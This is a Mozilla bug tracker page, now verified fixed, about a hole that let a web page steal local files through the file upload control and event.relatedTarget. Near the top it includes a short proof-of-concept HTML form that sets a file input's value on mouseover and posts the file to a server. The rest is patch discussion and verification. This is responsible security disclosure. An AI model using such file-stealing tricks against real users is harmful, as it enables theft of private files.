Stealing files with file upload and event.relatedTarget

VERIFIED FIXED in mozilla1.0.1

Status

()

Core
Security
--
critical
VERIFIED FIXED
15 years ago
6 years ago

People

(Reporter: georgi - hopefully not receiving bugspam, Assigned: joki (gone))

Tracking

({topembed})

Trunk
mozilla1.0.1
All
Linux
topembed
Points:
---
Dependency tree / graph

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [adt1 RTM] [ETA 08/23])

Attachments

(2 attachments)

test bug
Posting the real bug.

It is possible to steal local files with the file upload control.
This is somewhat related to bug 163598 but the trick is done with
event.relatedTarget.
The following reads a local file and sends it to remote server.
-----------------------------------
<html>
Written by <a href="http://www.guninski.com">Georgi Guninski</a>
<br>

<form action="http://localhost/cgi-bin/x.pl" enctype="multipart/form-data"
method="POST">
Mouse over this:
<input type=file name=c
onmouseover='event.relatedTarget.value="/var/www/html/index.html"'><br>
<input type=submit>
</form>


</html>
-----------------------------------

Due to the increased number of file upload attacks, I suggest adding a
warning whenever a file is being uploaded.

Georgi Guninski



Assignee: guninski → mstoltz
Summary: test bug → Stealing files with file upload
cc'ing dveditz@netscape.com per mitchell's out of office.
Adding a bunch of people who were on bug 163598

Comment 4

15 years ago
Any ideas on what it takes to fix this? jkeiser, should this be assigned to you
as well?

Comment 5

15 years ago
jkieser: should you own this bug?
Blocks: 143047
Severity: normal → critical
Keywords: nsbeta1+, topembed
Whiteboard: [adt1 RTM] [ETA Needed]
Target Milestone: --- → mozilla1.0.1
This seems very similar to bug 163598.

Updated

15 years ago
Blocks: 157592

Comment 7

15 years ago
Sigh.  Would someone mind finding these exploits closer to the beginning of a
release cycle? :)  I've never even heard of relatedTarget.

And upload your testcase if you could be so kind.  I'll see what I can see.
Assignee: mstoltz → jkeiser

Updated

15 years ago
Summary: Stealing files with file upload → Stealing files with file upload and event.relatedTarget
(Assignee)

Comment 8

15 years ago
Okay, so this one raises a couple of interesting questions.  Should
relatedContent be able to see anonymous content at all?  relatedContent is part
of the DOM spec, having content under a file control is not.  Of course that
doesn't change the fact that we use relatedContent to look at anonymous content
inside of tooltips so making it not see anonymous content could regress
something.  I have a fix (extension of the 163598 bug fix) that takes care of
file controls.  That may be as far as we want to go right now.
(Assignee)

Comment 9

15 years ago
Created attachment 96329 [details] [diff] [review]
proposed patch

Comment 10

15 years ago
-> security, joki
Assignee: jkeiser → joki
Component: Miscellaneous → Security: General
Product: mozilla.org → Browser

Comment 11

15 years ago
Comment on attachment 96329 [details] [diff] [review]
proposed patch

Argh, this copies jkeiser's fix, not including final nit-picks.  Can you (a)
copy the final fix or (b, better) subroutine so the code is shared?

/be (using Asa's laptop)
(Assignee)

Comment 12

15 years ago
Actually the patch is based on the final version of jkeiser's fix.  But if
you're talking about your ++numParentsChecked nit I just put that in.  As for
sharing the code I have hopes of fixing this version to better deal with
anonymous content in the future (the behavior of relatedTarget and
originalTarget as regards anonymous content is not exactly the same) so I'd
rather keep it separate.

Comment 13

15 years ago
See also bug 164086, the same hole using event.rangeParent.
Created attachment 96401 [details]
Testcase

Comment 15

15 years ago
adding bclary.
QA Contact: mitchell → bsharma

Updated

15 years ago
Depends on: 164086

Updated

15 years ago
Whiteboard: [adt1 RTM] [ETA Needed] → [adt1 RTM] [ETA 08/23]

Updated

15 years ago
No longer blocks: 157592
*** Bug 164687 has been marked as a duplicate of this bug. ***
Fixed with bug 164086.
Status: NEW → RESOLVED
Last Resolved: 15 years ago
Resolution: --- → FIXED

Comment 18

15 years ago
Verified on 7.0RTM build on Win 2000.

When mouse over on the text field, an exception is thrown and the text of the
"Submit" button is not changed.

When some file is selected in the text box using Browse button and then mouse
over, "Submit" button text is changed and it shows some file location. An
exception is also thrown at this time.

So, reopening the bug to make validate that this behavior is acceptable or not
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
bsharma: are you saying that the text in the Submit button ("Submit Query")
*changes* when you follow these steps:

- Go to http://bugzilla.mozilla.org/attachment.cgi?id=96401&action=view
- Click the Browse ... button and select a file [text of file shows up in text
input]
- Mouse over the text input [exception is thrown, nothing user-visible happens]

If not, I'm unclear on what you are saying.

Comment 20

15 years ago
Yes, that is exactly what I mean.
This looks fine to me. I think the bug is fixed. Someone should close it again.
Yes, this seems OK to me. I'm marking the bug Fixed again.
Status: REOPENED → RESOLVED
Last Resolved: 15 years ago15 years ago
Resolution: --- → FIXED

Comment 23

15 years ago
Verified on the 2002-10-08-trunk build on Win 2000.

The test case works as expected.
Status: RESOLVED → VERIFIED
Group: security
You need to log in before you can comment on or make changes to this bug.